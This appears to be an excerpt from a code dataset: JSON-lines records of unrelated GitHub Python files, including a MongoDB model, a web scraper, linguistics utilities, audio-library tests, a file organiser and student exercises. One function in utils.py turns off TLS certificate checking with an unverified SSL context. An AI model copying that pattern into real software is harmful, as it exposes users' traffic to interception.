(testDict)","repo_name":"angelinka/programming4DA","sub_path":"week7/dictionaryJSON.py","file_name":"dictionaryJSON.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31442007474","text":"#!/usr/bin/env python \n# -*- coding: utf-8 -*-\n# @Time : 2020/8/1 11:09\n# @Author : Raymound luo\n# @Mail : luolinhao1998@gmail.com\n# @File : preprocess.py\n# @Software: PyCharm\n# @Describe:\n\nimport scipy.io\n\ndata_file_path = 'ACM.mat'\ndata = scipy.io.loadmat(data_file_path)\nprint(list(data.keys()))","repo_name":"RManLuo/CP-GNN","sub_path":"data/ACM/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":308,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"61"} +{"seq_id":"73661478273","text":"from mongoengine import *\nfrom datetime import datetime\n\nfrom spaceone.core.model.mongo_model import MongoModel\nfrom spaceone.inventory.model.zone_model import Zone\nfrom spaceone.inventory.model.region_model import Region\n\n\nclass Pool(MongoModel):\n pool_id = StringField(max_length=40, generate_id='pool', unique=True)\n name = StringField(max_length=255)\n state = StringField(max_length=20, default='ACTIVE')\n tags = DictField()\n zone = ReferenceField('Zone', reverse_delete_rule=DENY)\n region = ReferenceField('Region', reverse_delete_rule=DENY)\n domain_id = StringField(max_length=255)\n created_at = DateTimeField(auto_now_add=True)\n deleted_at = DateTimeField(default=None, null=True)\n\n meta = {\n 'updatable_fields': [\n 'name',\n 'tags',\n 'state'\n ],\n 'exact_fields': [\n 'pool_id',\n 'state'\n ],\n 'minimal_fields': [\n 'pool_id',\n 'name',\n 'state'\n ],\n 'change_query_keys': {\n 'zone_id': 'zone.zone_id',\n 'region_id': 'region.region_id'\n },\n 'reference_query_keys': {\n 'zone': Zone,\n 'region': Region\n },\n 'ordering': [\n 'name'\n ],\n 'indexes': [\n 'pool_id',\n 'state',\n 'zone',\n 'region',\n 'domain_id'\n ],\n 'aggregate': {\n 'lookup': {\n 'region': {\n 'from': 'region'\n },\n 'zone': {\n 'from': 'zone'\n }\n }\n }\n }\n\n @queryset_manager\n def objects(doc_cls, queryset):\n return queryset.filter(state__ne='DELETED')\n\n def delete(self):\n self.update({\n 'state': 'DELETED',\n 'deleted_at': datetime.utcnow()\n })\n\n def append(self, key, data):\n if key == 'members':\n data.update({\n 'pool': self\n })\n\n PoolMemberMap.create(data)\n else:\n super().append(key, data)\n\n return self\n\n def remove(self, key, data):\n if key == 'members':\n query = {\n 'filter': [{\n 'k': 'pool',\n 'v': self,\n 'o': 'eq'\n }, {\n 'k': 'user_id',\n 'v': data,\n 'o': 'eq'\n }]\n }\n\n member_map_vos, map_count = PoolMemberMap.query(**query)\n member_map_vos.delete()\n else:\n super().remove(key, data)\n\n return self\n\n\nclass PoolMemberMap(MongoModel):\n pool = ReferenceField('Pool', reverse_delete_rule=CASCADE)\n user_id = StringField(max_length=40)\n labels = ListField(StringField(max_length=255))\n\n meta = {\n 'reference_query_keys': {\n 'pool': Pool,\n },\n 'change_query_keys': {\n 'pool_id': 'pool.pool_id'\n },\n 'indexes': [\n 'pool',\n 'user_id'\n ]\n }\n","repo_name":"choonho/inventory","sub_path":"src/spaceone/inventory/model/pool_model.py","file_name":"pool_model.py","file_ext":"py","file_size_in_byte":3133,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74487350273","text":"from bs4 import BeautifulSoup\n\nimport sys\nfrom main import Parsing\n\n\ndef get_all_data_page(page_source: str) -> list:\n soup = BeautifulSoup(page_source, \"lxml\")\n all_data = []\n blocks = soup.find_all('div', {'class': 'i2m mi2'})\n print(len(blocks))\n for block in blocks:\n if not block:\n continue\n url = block.find('a', {'class': 'tile-hover-target j0i ji1'})\n all_data.append((\n block.find('span', {'class': 'd7t t7d d8t ud tsBodyL j0i ji1'}).text,\n url.get('href') if url else None,\n ))\n return all_data\n\n\ndef save_data_to_csv(data) -> list[list]:\n with open(\"kappa.csv\", \"a\", encoding=\"utf-8\") as file:\n for item in data:\n file.write('|'.join(map(str, item)) + '\\n')\n\ncolumns = [\n \"Название\",\n \"ссылка на товар\",\n]\n\ndef main(start, end):\n save_data_to_csv([columns])\n url = \"https://www.ozon.ru/brand/kappa-146870879/category/odezhda-obuv-i-aksessuary-7500/?page=\"\n parsing = Parsing()\n for i in range(start, end):\n print(i)\n page = parsing.get_page(f'{url}{i}')\n data = get_all_data_page(page)\n save_data_to_csv(data)\n parsing.driver.quit()\n\n\nif __name__ == '__main__':\n start, end = map(int, sys.argv[1:])\n main(start, end)\n","repo_name":"McKrei/ozon_pars","sub_path":"get_all_url_page_products.py","file_name":"get_all_url_page_products.py","file_ext":"py","file_size_in_byte":1304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71477979394","text":"import collections\n\nimport lingpy\nfrom clldutils.misc import slug\nimport pycldf\n\n\ndef settings():\n return collections.OrderedDict([\n (k, str(v) if isinstance(v, lingpy.Model) else v)\n for k, v in sorted(lingpy.settings.rcParams.items(), key=lambda i: i[0])])\n\n\ndef wordlist2cognates(wordlist, source, expert='expert', ref='cogid'):\n \"\"\"Turn a wordlist into a cognate set list, using the cldf parameters.\"\"\"\n for k in wordlist:\n yield dict(\n Form_ID=wordlist[k, 'lid'],\n ID=k,\n Form=wordlist[k, 'ipa'],\n Cognateset_ID='{0}-{1}'.format(\n slug(wordlist[k, 'concept']), wordlist[k, ref]),\n Cognate_Detection_Method=expert,\n Source=source)\n\n\ndef _get_forms(dataset):\n \"\"\"\n Return the list of Form `dict`'s for a `cldfbench.CLDFWriter` or a `pycldf.Dataset`.\n \"\"\"\n return dataset.objects['FormTable'] \\\n if (hasattr(dataset, 'objects') and isinstance(dataset.objects, dict)) \\\n else list(dataset['FormTable'])\n\n\ndef _cldf2wld(dataset):\n \"\"\"Make lingpy-compatible dictionary out of cldf main data.\"\"\"\n forms = _get_forms(dataset)\n if not forms:\n raise ValueError('No forms')\n\n idcol = dataset['FormTable', 'id'].name if isinstance(dataset, pycldf.Dataset) else 'ID'\n header = [f for f in forms[0].keys() if f != idcol]\n D = {0: ['lid'] + [h.lower() for h in header]}\n for idx, row in enumerate(forms):\n D[idx + 1] = [row[idcol]] + [row[h] for h in header]\n return D\n\n\ndef _cldf2lexstat(\n dataset,\n segments='segments',\n transcription='value',\n row='parameter_id',\n col='language_id'):\n \"\"\"Read LexStat object from cldf dataset.\"\"\"\n D = _cldf2wld(dataset)\n return lingpy.LexStat(D, segments=segments, transcription=transcription, row=row, col=col)\n\n\ndef _cldf2wordlist(dataset, row='parameter_id', col='language_id'):\n \"\"\"Read worldist object from cldf dataset.\"\"\"\n return lingpy.Wordlist(_cldf2wld(dataset), row=row, col=col)\n\n\ndef iter_cognates(dataset, column='Segments', method='turchin', threshold=0.5, **kw):\n \"\"\"\n Compute cognates automatically for a given dataset.\n\n :param dataset: Either a `LexibankWriter` instance or a `pycldf.Dataset`.\n \"\"\"\n forms = _get_forms(dataset)\n\n if method == 'turchin':\n for row in forms:\n sounds = ''.join(lingpy.tokens2class(row[column], 'dolgo'))\n if sounds.startswith('V'):\n sounds = 'H' + sounds\n sounds = '-'.join([s for s in sounds if s != 'V'][:2])\n cogid = slug(row['Parameter_ID']) + '-' + sounds\n if '0' not in sounds:\n yield dict(\n Form_ID=row['ID'],\n Form=row['Value'],\n Cognateset_ID=cogid,\n Cognate_Detection_Method='CMM')\n\n if method in ['sca', 'lexstat']:\n try:\n lex = _cldf2lexstat(dataset)\n except ValueError:\n return\n if method == 'lexstat':\n lex.get_scorer(**kw)\n lex.cluster(method=method, threshold=threshold, ref='cogid')\n for k in lex:\n yield dict(\n Form_ID=lex[k, 'lid'],\n Form=lex[k, 'value'],\n Cognateset_ID=lex[k, 'cogid'],\n Cognate_Detection_Method=method + '-t{0:.2f}'.format(threshold))\n\n\ndef iter_alignments(dataset, cognate_sets, column='Segments', method='library', almkw=None):\n \"\"\"\n Function computes automatic alignments and writes them to file.\n \"\"\"\n if not isinstance(dataset, lingpy.basic.parser.QLCParser):\n try:\n wordlist = _cldf2wordlist(dataset)\n except ValueError:\n return\n cognates = {r['Form_ID']: r for r in cognate_sets}\n wordlist.add_entries(\n 'cog',\n 'lid',\n lambda x: cognates[x]['Cognateset_ID'] if x in cognates else 0)\n wordlist.renumber(\"cog\")\n alm = lingpy.Alignments(\n wordlist,\n ref='cogid',\n row='parameter_id',\n col='language_id',\n transcription='form',\n segments=column.lower())\n alm.align(method=method)\n for k in alm:\n if alm[k, 'lid'] in cognates:\n cognate = cognates[alm[k, 'lid']]\n cognate['Alignment'] = alm[k, 'alignment']\n cognate['Alignment_Method'] = method\n else:\n almkw = almkw or {}\n almkw.setdefault('ref', 'cogid')\n alm = lingpy.Alignments(dataset, **almkw)\n alm.align(method=method)\n\n for cognate in cognate_sets:\n idx = cognate.get('ID') or cognate['Form_ID']\n cognate['Alignment'] = alm[int(idx), 'alignment']\n cognate['Alignment_Method'] = 'SCA-' + method\n","repo_name":"lexibank/pylexibank","sub_path":"src/pylexibank/lingpy_util.py","file_name":"lingpy_util.py","file_ext":"py","file_size_in_byte":4838,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"61"} +{"seq_id":"4732429755","text":"class Cat():\r\n def __init__ (self,color=\"White\"):\r\n self.color=color\r\n\r\n\r\n def __init__(self,color=\"White\", action=\"siting\"):\r\n self.color=color\r\n self.action=action\r\n\r\n def changeColor(self,color):\r\n self.color=color\r\n\r\n def printCat(self):\r\n print(self.color, \"cat is \", self.action)\r\n\r\n\r\n\r\n\r\n\r\nc1 = Cat()\r\nc2 = Cat(\"Black\")\r\nc3 = Cat(\"Brown\", \"jumping\")\r\nc4 = Cat(\"Red\", \"purring\")\r\nc1.printCat()\r\nc2.printCat()\r\nc3.printCat()\r\nc4.printCat()\r\nc1.changeColor(\"Blue\")\r\nc3.changeColor(\"Purple\")\r\nc1.printCat()\r\nc3.printCat()\r\n","repo_name":"SihabSahariar/BRACU-CSE","sub_path":"CSE111-Python/Assignment/Assignment 6/6.4.py","file_name":"6.4.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"385898292","text":"\"\"\"Kata url: https://www.codewars.com/kata/59b844528bcb7735560000a0.\"\"\"\n\nfrom typing import List\n\n\ndef is_nice(arr: List[int]) -> List[int]:\n t = sorted(set(arr))\n\n if not t:\n return False\n\n ts = len(t)\n for c, i in enumerate(t):\n p = t[c - 1]\n n = t[(c + 1) if (c + 1) < ts else c]\n\n if (i + 1 != n) and ((i - 1) != p):\n return False\n\n return True\n\n\ndef test_is_nice():\n assert is_nice([2, 10, 9, 3])\n assert not is_nice([3, 4, 5, 7])\n assert not is_nice([])\n","repo_name":"Sigmanificient/codewars","sub_path":"src/python/katas/py7kyu/nice_array.py","file_name":"nice_array.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"17269395338","text":"import calendar\nfrom datetime import datetime\n\nimport json\nimport ssl\n\nfrom validate_email import validate_email\nfrom urllib.request import urlopen\n\n\ndef year_month_min_date(date: datetime):\n dt = date.date()\n min_dt = datetime(dt.year, dt.month, 1, 00, 00, 0)\n return min_dt\n\n\ndef year_month_max_date(date: datetime):\n dt = date.date()\n last_day = calendar.monthrange(dt.year, dt.month)[1]\n max_dt = datetime(dt.year, dt.month, last_day, 23, 59, 59)\n return max_dt\n\n\ndef year_month_date(date: datetime):\n return year_month_min_date(date), year_month_max_date(date)\n\n\ndef is_valid_email(email: str, check_mx: bool) -> bool:\n dns_valid = validate_email(email, check_mx=check_mx)\n if not dns_valid:\n return False\n\n validate_url = 'https://open.kickbox.com/v1/disposable/' + email\n context = ssl._create_unverified_context()\n response = urlopen(validate_url, context=context)\n if response.status != 200:\n return False\n\n data = response.read()\n json_object = json.loads(data.decode(\"utf-8\"))\n is_disposable = json_object['disposable']\n return not is_disposable\n\n\ndef stable_date(date: datetime):\n return date.replace(microsecond=0)\n","repo_name":"YuliyaSinkevich/moneyflow","sub_path":"app/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1199,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24621776028","text":"import os\nimport shutil\nimport keyboard\n\n\nextensions_and_directories = []\nother_directory = \"Other\"\n\n\ndef read_config_file():\n lines = get_lines(\"config.txt\")\n line = \" \"\n directory_name = \"\"\n for line in lines:\n file_extensions_list = []\n words = line.split()\n for j in range(len(words) - 1):\n file_extensions_list.append(words[j])\n directory_name = words[len(words) - 1]\n extensions_and_directories.append([file_extensions_list, directory_name])\n\n\ndef get_lines(file_name: str) -> [str]:\n with open(file_name, \"r\") as f:\n lines = f.readlines()\n return lines\n\n\ndef extension_in_list(extension, list):\n if extension in list:\n return True\n return False\n\n\ndef get_file_extension(file_name):\n return os.path.splitext(file_name)[1][1:]\n\n\ndef move_file(file_name, directory_name):\n if not os.path.exists(directory_name):\n print(\"creating directory \" + directory_name)\n os.mkdir(directory_name)\n print(\"moving \" + file_name + \" into \" + directory_name)\n shutil.move(file_name, directory_name + \"/\" + file_name)\n\n\nread_config_file()\nfiles = os.scandir()\nprint(extensions_and_directories)\n\n\nfor fl in files:\n # Does not move program files and directories\n if (\n os.path.isdir(fl.path)\n or fl.name == \"organize.py\"\n or fl.name == \"config.txt\"\n or fl.name == \"organize.exe\"\n or fl.name[0] == \".\"\n ):\n continue\n\n file_name = fl.name\n file_extension = get_file_extension(file_name)\n\n # Loops through extensions to find fit\n for ex_dir in extensions_and_directories:\n extensions = ex_dir[0]\n directory_name = ex_dir[1]\n if extension_in_list(file_extension, extensions):\n move_file(file_name, directory_name)\n\n # If no fit is found, move into other\n if os.path.exists(file_name):\n move_file(file_name, \"Other\")\n\n\nprint(\"Completed succesfully, Press ENTER to exit\")\n\nwhile True:\n if keyboard.is_pressed(\"enter\"): # returns True if \"q\" is pressed\n break\n","repo_name":"yigittuncer07/directory-sorter","sub_path":"organize.py","file_name":"organize.py","file_ext":"py","file_size_in_byte":2067,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"17292836121","text":"#! /usr/bin/env python\n\nfrom numpy.testing import TestCase, assert_equal\nfrom numpy import array, arange, isnan, isinf\nfrom aubio import bintomidi, miditobin, freqtobin, bintofreq, freqtomidi, miditofreq\nfrom aubio import unwrap2pi\nfrom aubio import fvec\nfrom math import pi\n\nclass aubio_mathutils(TestCase):\n\n def test_unwrap2pi(self):\n unwrap2pi(int(23))\n unwrap2pi(float(23.))\n unwrap2pi(int(23.))\n unwrap2pi(arange(10))\n unwrap2pi(arange(10).astype(\"int\"))\n unwrap2pi(arange(10).astype(\"float\"))\n unwrap2pi(arange(10).astype(\"float32\"))\n unwrap2pi([1,3,5])\n unwrap2pi([23.,24.,25.])\n a = fvec(10)\n a[:] = 4.\n unwrap2pi(a)\n a = pi/100. * arange(-600,600).astype(\"float\")\n unwrap2pi(a)\n #print zip(a, b)\n\n def test_unwrap2pi_fails_on_list(self):\n with self.assertRaises((TypeError, NotImplementedError)):\n unwrap2pi([\"23.\",\"24.\",25.])\n\n def test_unwrap2pi_takes_fvec(self):\n a = fvec(10)\n b = unwrap2pi(a)\n #print zip(a, b)\n assert ( b > -pi ).all()\n assert ( b <= pi ).all()\n\n def test_unwrap2pi_takes_array_of_float(self):\n a = arange(-10., 10.).astype(\"float\")\n b = unwrap2pi(a)\n #print zip(a, b)\n assert ( b > -pi ).all()\n assert ( b <= pi ).all()\n\n def test_unwrap2pi_takes_array_of_float32(self):\n a = arange(-10, 10).astype(\"float32\")\n b = unwrap2pi(a)\n #print zip(a, b)\n assert ( b > -pi ).all()\n assert ( b <= pi ).all()\n\n def test_freqtomidi(self):\n a = array(list(range(-20, 50000, 100)) + [ -1e32, 1e32 ])\n b = freqtomidi(a)\n #print zip(a, b)\n assert_equal ( isnan(array(b)), False )\n assert_equal ( isinf(array(b)), False )\n assert_equal ( array(b) < 0, False )\n\n def test_miditofreq(self):\n a = list(range(-30, 200)) + [-100000, 10000]\n b = miditofreq(a)\n #print zip(a, b)\n assert_equal ( isnan(b), False )\n assert_equal ( isinf(b), False )\n assert_equal ( b < 0, False )\n\n def test_miditobin(self):\n a = list(range(-30, 200)) + [-100000, 10000]\n b = [ miditobin(x, 44100, 512) for x in a ]\n #print zip(a, b)\n assert_equal ( isnan(array(b)), False )\n assert_equal ( isinf(array(b)), False )\n assert_equal ( array(b) < 0, False )\n\n def test_bintomidi(self):\n a = list(range(-100, 512))\n b = [ bintomidi(x, 44100, 512) for x in a ]\n #print zip(a, b)\n assert_equal ( isnan(array(b)), False )\n assert_equal ( isinf(array(b)), False )\n assert_equal ( array(b) < 0, False )\n\n def test_freqtobin(self):\n a = list(range(-20, 50000, 100)) + [ -1e32, 1e32 ]\n b = [ freqtobin(x, 44100, 512) for x in a ]\n #print zip(a, b)\n assert_equal ( isnan(array(b)), False )\n assert_equal ( isinf(array(b)), False )\n assert_equal ( array(b) < 0, False )\n\n def test_bintofreq(self):\n a = list(range(-20, 148))\n b = [ bintofreq(x, 44100, 512) for x in a ]\n #print zip(a, b)\n assert_equal ( isnan(array(b)), False )\n assert_equal ( isinf(array(b)), False )\n assert_equal ( array(b) < 0, False )\n\nif __name__ == '__main__':\n from unittest import main\n main()\n","repo_name":"sonic-pi-net/sonic-pi","sub_path":"app/external/aubio-0.4.9/python/tests/test_mathutils.py","file_name":"test_mathutils.py","file_ext":"py","file_size_in_byte":3367,"program_lang":"python","lang":"en","doc_type":"code","stars":10272,"dataset":"github-code","pt":"61"} +{"seq_id":"38837269263","text":"## @ingroup Methods-Geometry-Three_Dimensional\n# compute_chord_length_from_span_location.py\n# \n# Created: Oct 2015, M. Vegh, \n# Modified: Jan 2016, E. Botero\n# Modified: Jan 2019, E. Botero\n\n# ----------------------------------------------------------------------\n# Compute Chord Length from Span Location\n# ---------------------------------------------------------------------- \n\n## @ingroup Methods-Geometry-Three_Dimensional\ndef compute_chord_length_from_span_location(wing,span_location):\n \"\"\"Computes the chord length given a location along the half-span.\n\n Assumptions:\n Linear variation of chord with span.\n\n Source:\n None\n\n Inputs:\n wing.chords.\n root [m]\n tip [m]\n wing.spans.projected [m]\n span_location [m]\n\n Outputs:\n chord_length [m]\n\n Properties Used:\n N/A\n \"\"\"\n #unpack\n ct = wing.chords.tip\n cr = wing.chords.root\n b = wing.spans.projected\n \n b_2 = b/2.\n \n chord_length = ct + ((cr-ct)/b_2)*(b_2-span_location)\n\n \n return chord_length","repo_name":"suavecode/SUAVE","sub_path":"trunk/SUAVE/Methods/Geometry/Three_Dimensional/compute_chord_length_from_span_location.py","file_name":"compute_chord_length_from_span_location.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"en","doc_type":"code","stars":349,"dataset":"github-code","pt":"61"} +{"seq_id":"23560581851","text":"input_file = open('input.txt')\nint_list = []\n\nfor line in range(int(input_file.readline())):\n temp_str = input_file.readline() # To\n int_list.append(temp_str.strip())\n\ncase_count = 0\nfor int_str in int_list[:]:\n case_count += 1\n digits = len(int_str) # Digit Counter\n # Go through the integer string and decrement the largest.\n for index in range(digits - 1):\n digits -= 1\n if int(int_str[index]) > int(int_str[index + 1]):\n biggest = int(int_str[index])\n rep_index = int_str.index(str(biggest))\n more_digits = int_str.count(str(biggest)) - 1\n if biggest == 0 and index > 0:\n biggest = 9\n else:\n biggest -= 1\n int_str = int_str[:rep_index] + str(biggest) + '9'*(digits+more_digits)\n break\n print('Case #{}: {}'.format(case_count, int(int_str)))","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_200/4103.py","file_name":"4103.py","file_ext":"py","file_size_in_byte":887,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14007407250","text":"# step function defines what happens when the player steps onto each cell\nimport os\nfolder_directory = os.path.dirname(__file__)\nos.chdir(folder_directory)\n\nfrom playsound import playsound \n\nclass Start:\n\n def __init__(self):\n self.display = 'X' # Start.display used to call the 'X' icon\n\n def step(self, game, move):\n game.moves.append(move) \n return [False]\n\nclass End:\n def __init__(self):\n self.display = 'Y'\n\n def step(self, game, move):\n game.play_again = False\n game.won = True\n game.moves.append(move) \n return [False]\n\n\nclass Air:\n def __init__(self):\n self.display = ' '\n\n def step(self, game, move):\n game.moves.append(move)\n playsound('458641_matrixxx_retro-jump-02 (mp3cut.net).wav')\n return [False]\n\n\nclass Wall:\n def __init__(self):\n self.display = '*' # used in parse\n\n def step(self, game, move):\n game.player.row = game.old_pos[0]\n game.player.col = game.old_pos[1]\n playsound('hit_wall.mp3')\n return [True, \"You walked into a wall. Oof!\"]\n\n\n\nclass Fire:\n def __init__(self):\n self.display = 'F'\n\n def step(self, game, move):\n if game.player.num_water_buckets >= 1:\n game.player.num_water_buckets -= 1\n game.moves.append(move) \n game.list_of_cells[game.player.row][game.player.col] = Air() # chaning block to air\n playsound('extinguisher-fire_TuX3hhZi.mp3')\n return [True, \"With your strong arms, you throw a water bucket at the fire. You walk away through the extinguished flames!\"]\n\n else:\n game.play_again = False\n game.won = False\n game.moves.append(move) \n playsound('105016__julien-matthey__jm-fx-fireball-01.wav')\n return [True, \"\\nYou step into a fires and watch your dreams of escape disappear :(. You Die!\"]\n \n\nclass Water:\n def __init__(self):\n self.display = 'W'\n\n def step(self, game, move):\n game.player.num_water_buckets += 1\n game.moves.append(move) \n game.list_of_cells[game.player.row][game.player.col] = Air()\n playsound('527530_jerimee_objective-complete (mp3cut.net).wav')\n return [True, \"You've found a bucket of water! (These can be used to extinguise fires labelled by 'F')\"]\n \n\n\nclass Teleport:\n def __init__(self, num):\n self.display = num # teleport number\n\n def step(self, game, move):\n game.moves.append(move)\n i = 0\n while i < len(game.teleport_pos):\n #print(game.teleport_pos)\n if (game.teleport_pos[i][0] == self.display):\n # checking to see if teleport is the current on the player is stading on\n loc_tel = [game.teleport_pos[i][1], game.teleport_pos[i][2]]\n loc_player = [game.player.row, game.player.col]\n\n if loc_tel != loc_player: # position of teleporter is not the cell the player is on\n game.player.row = game.teleport_pos[i][1]\n game.player.col = game.teleport_pos[i][2]\n break\n \n i += 1\n playsound('172206__leszek-szary__teleport.wav')\n return [True, \"\"\"You've found a teleporter. Whoosh! Suddenly the magical gate breaks \nPhysics as we know it and opens a wormhole through space and time teleporting you across the building.\"\"\"]\n \n","repo_name":"flynncostello/Projects","sub_path":"Maze Game (High School)/cells.py","file_name":"cells.py","file_ext":"py","file_size_in_byte":3460,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19795708841","text":"\"\"\"\nScript\n--------\nThis module defines a script that the bot follows during conversation.\n\"\"\"\nfrom dff.script import RESPONSE, TRANSITIONS, GLOBAL, Message\nimport dff.script.conditions as cnd\n\nfrom .responses import answer_similar_question, FIRST_MESSAGE, FALLBACK_NODE_MESSAGE\n\n\npipeline_kwargs = {\n \"script\": {\n GLOBAL: {\n TRANSITIONS: {\n # an empty message is used to init a dialogue\n (\"qa_flow\", \"welcome_node\"): cnd.exact_match(Message(), skip_none=False),\n (\"qa_flow\", \"answer_question\"): cnd.true(),\n },\n },\n \"qa_flow\": {\n \"welcome_node\": {\n RESPONSE: FIRST_MESSAGE,\n },\n \"answer_question\": {\n RESPONSE: answer_similar_question,\n },\n },\n \"service_flow\": {\n \"start_node\": {}, # this is the start node, it simply redirects to welcome node\n\n \"fallback_node\": { # this node will only be used if something goes wrong (e.g. an exception is raised)\n RESPONSE: FALLBACK_NODE_MESSAGE,\n },\n },\n },\n \"start_label\": (\"service_flow\", \"start_node\"),\n \"fallback_label\": (\"service_flow\", \"fallback_node\")\n}\n","repo_name":"deeppavlov/dialog_flow_demo","sub_path":"frequently_asked_question_bot/web/web/bot/dialog_graph/script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":1244,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"16353630635","text":"# 프로그래머스 - 모의고사\ndef solution(answers):\n answer = []\n s1=[1,2,3,4,5,1,2,3,4,5]\n s2=[2,1,2,3,2,4,2,5]\n s3=[3,3,1,1,2,2,4,4,5,5]\n \n cnt1=0;\n cnt2=0;\n cnt3=0;\n for i in range(0, len(answers)):\n index=i%10;\n index2 = i%8;\n if (answers[i] == s1[index]): cnt1+=1;\n if (answers[i] == s2[index2]): cnt2+=1;\n if (answers[i] == s3[index]): cnt3+=1;\n \n maxi=max(cnt1,cnt2, cnt3);\n if(cnt1 == maxi):\n answer.append(1)\n if(cnt2 == maxi):\n answer.append(2);\n if (cnt3 == maxi):\n answer.append(3)\n \n return answer","repo_name":"Sae-byeol/algorithm_PY","sub_path":"brute_force/bruteForce_2.py","file_name":"bruteForce_2.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12959375121","text":"import pandas as pd \r\nimport statsmodels.api as smf \r\nimport matplotlib.pyplot as plt \r\nhousing = pd.read_csv(r'C:\\Users\\Dr. Wan Asna\\Desktop\\Python Projects\\Statistics for Financial Analysis\\Week 4\\Boston.csv')\r\nprint(housing.head())\r\n#Guessing the real values of intercept and slope\r\n#We call our guess b0, b1...\r\n#Try to assign the value of b0, b1 to get a straight line that can describe our data\r\nb0 = 0.1\r\nb1 = 1\r\nhousing['GuessResponse'] = b0 + b1*housing['rm']\r\n#Least square estimates\r\n#Input the formula (lecture video 4.3)\r\nformula = 'medv~rm'\r\nmodel = smf.OLS.from_formula(formula, housing).fit() #the course was outdated\r\n#Estimated intercept and slope by least square estimation\r\n#Attribute 'params' returns a list of estimated form model\r\nb0_ols = model.params[0]\r\nb1_ols = model.params[1]\r\nhousing['BestResponse'] = b0_ols + b1_ols*housing['rm']\r\n#Checking for the error of guess...\r\nhousing['error'] = housing['medv'] - housing['BestResponse']\r\n#This shows how far the guess response is from the true response\r\nhousing['observederror'] = housing['medv'] - housing['GuessResponse']\r\n#plot the estimated line together with the points\r\nplt.figure(figsize=(10,10))\r\nplt.title('Sum of squared error is {}'.format(((housing['observederror'])**2).sum()))\r\nplt.scatter(housing['rm'], housing['medv'], color='g', label='Observed')\r\nplt.plot(housing['rm'], housing['GuessResponse'], color='red', label='GuessResponse')\r\nplt.plot(housing['rm'], housing['BestResponse'], color='yellow', label='BestResponse')\r\nplt.legend()\r\nplt.xlim(housing['rm'].min()-2, housing['rm'].max()+2)\r\nplt.ylim(housing['medv'].min()-2, housing['medv'].max()+2)\r\nplt.show()\r\n#Refer to the P-value of RM, Confidence Interval and R-square to evaluate the performance\r\nmodel.summary()\r\n","repo_name":"QaisZainon/Learning-Coding","sub_path":"Statistics for Financial Analysis/Week 4/LinerRegressionModel.py","file_name":"LinerRegressionModel.py","file_ext":"py","file_size_in_byte":1765,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31833461656","text":"# Исходные данные\nname = ('Иванов', 'Иван', 'Иванович', 10, 5, 2000)\nbirth_date = (2000, 10, 5)\nattestat = {\n 'Математика': 5,\n 'Русский язык': 4,\n 'Английский язык': 5,\n 'Физика': 4,\n 'Химия': 4,\n 'Информатика': 5,\n 'История': 4,\n 'Обществознание': 4,\n 'Биология': 4,\n 'География': 4,\n 'Литература': 4,\n 'Иностранный язык (второй)': 5,\n 'ОБЖ': 5,\n 'Технология': 5\n}\nrelatives = ['Мама', 'Папа', 'Брат', 'Сестра']\npet_name = 'Бакс'\n\n# 1. Средняя оценка в аттестате\navg_mark = sum(attestat.values()) / len(attestat)\nprint(f'1.Средняя оценка в аттестате: {avg_mark:.2f}')\n\n# 2. Различные имена родственников\nunique_relatives = list(set(relatives))\nprint(f'2.Различные имена родственников: {unique_relatives}')\n\n# 3. Общая длина всех названий предметов\ntotal_len = sum(len(subject) for subject in attestat)\nprint(f'3.Общая длина названий предметов: {total_len}')\n\n# 4. Уникальные буквы в названиях предметов\nunique_letters = set(''.join(attestat.keys()))\nprint(f'4.Уникальные буквы в названиях предметов: {unique_letters}')\n\n# 5. Имя домашней кивы в бинарном виде\nbinary_pet_name = ' '.join(format(ord(letter), 'b') for letter in pet_name)\nprint(f'5.Имя домашней кивы в бинарном виде: {binary_pet_name}')\n\n# 6. Отсортированный список родственников\nsorted_relatives = sorted(relatives, reverse=True)\nprint(f'6.Отсортированный список родственников: {sorted_relatives}')\n\n# 7. Количество дней от даты рождения до текущей даты\nfrom datetime import datetime\ncurrent_date = datetime.now()\nbirth_datetime = datetime(*birth_date)\ndays_since_birth = (current_date - birth_datetime).days\nprint(f'7.Количество дней от даты рождения до текущей даты: {days_since_birth}')\n\n# 8. FIFO очередь\nqueue = []\nwhile True:\n index = input(\"Введите индекс предмета (или \\\"стоп\\\" для остановки): \")\n if index == \"стоп\":\n break\n queue.append(list(attestat.keys())[int(index)])\nprint(queue)\n\n# 9 поменять имя в списке родственников на имя ацтекского правителя\nnumber = (name[3] + name[4]**2 + name[5]) % 21 + 1\ntlatoque = [\"Acamapichtli\", \"Huitzilihuitl\", \"Chimalpopoca\", \"Itzcoatl\", \n \"Moctezuma I\", \"Axayacatl\", \"Tizoc\", \"Ahuitzotl\", \"Moctezuma II\", \n \"Cuitlahuac\", \"Cuauhtemoc\", \"Tlacaelel\", \"Tezozomoc\", 